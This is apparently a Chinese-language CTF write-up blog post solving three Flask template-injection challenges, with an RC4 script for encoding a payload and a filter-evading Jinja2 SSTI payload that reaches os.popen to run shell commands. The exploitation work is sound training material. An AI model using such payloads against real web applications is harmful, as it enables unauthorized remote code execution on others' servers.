flask

[HNCTF 2022 WEEK2]ez_SSTI

0x00

模板注入

0x01

image-20240131211818243
使用hackbar自带的

[NISACTF 2022]is secret

0x00

这道题挺难的

使用的知识点

  • ssti flask
  • rce

0x01

首先

image-20240203231956350

查找一圈只发现了

image-20240203232019419

使用的框架

通过目录扫描

发现了secret 目录

0x02

image-20240203232125435

发现通过get 传参的方式给他说秘密

然后我就随便说了一个

image-20240203232308690

每理解到,尝试判断是否存在模板注入

image-20240203232510998

image-20240203232523216

image-20240203232535937

0x03

使用下面的脚本进行rc4加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import base64
from urllib import parse


def rc4_main(key="init_key", message="init_message"): # 返回加密后得内容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt


def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box


def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))


key = "HereIsTreasure" # 此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main(key, message)
enc_init = str(base64.b64decode(enc_base64), 'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:" + enc_url)
# print("rc4加密后的base64编码"+enc_base64)

image-20240203233709207

image-20240203233719628

[NCTF 2018]flask真香

0x00

使用的知识点

  1. flask 模板注入字符串拼接绕过

  2. python 中的魔术方法

    SSTI详解 一文了解SSTI和所有常见payload 以flask模板为例-CSDN博客

0x01

第一步找注入点

  1. f12 查找发现没有什么东西

  2. 然后找

    发现了自己写的错误页面,觉得非常可疑

    使用payload 尝试

    49

    image-20240509221133531

0x02

既然发现了注入点尝试使用

“”.__class__测试一下

image-20240509221328120

发现url 没有了

尝试其他的方式

image-20240509221514955

使用字符串拼接进行绕过

0x03

查找可以使用的class

image-20240509221716452

image-20240509221835118

0x04

  1. <class ‘os._wrap_close’>

    1
    {{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[383].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('ls /').read()")}}
    image-20240509222214186

flask
https://tsy244.github.io/2024/05/09/CTF刷题记录/WEB/flask/
Author
August Rosenberg
Posted on
May 9, 2024
Licensed under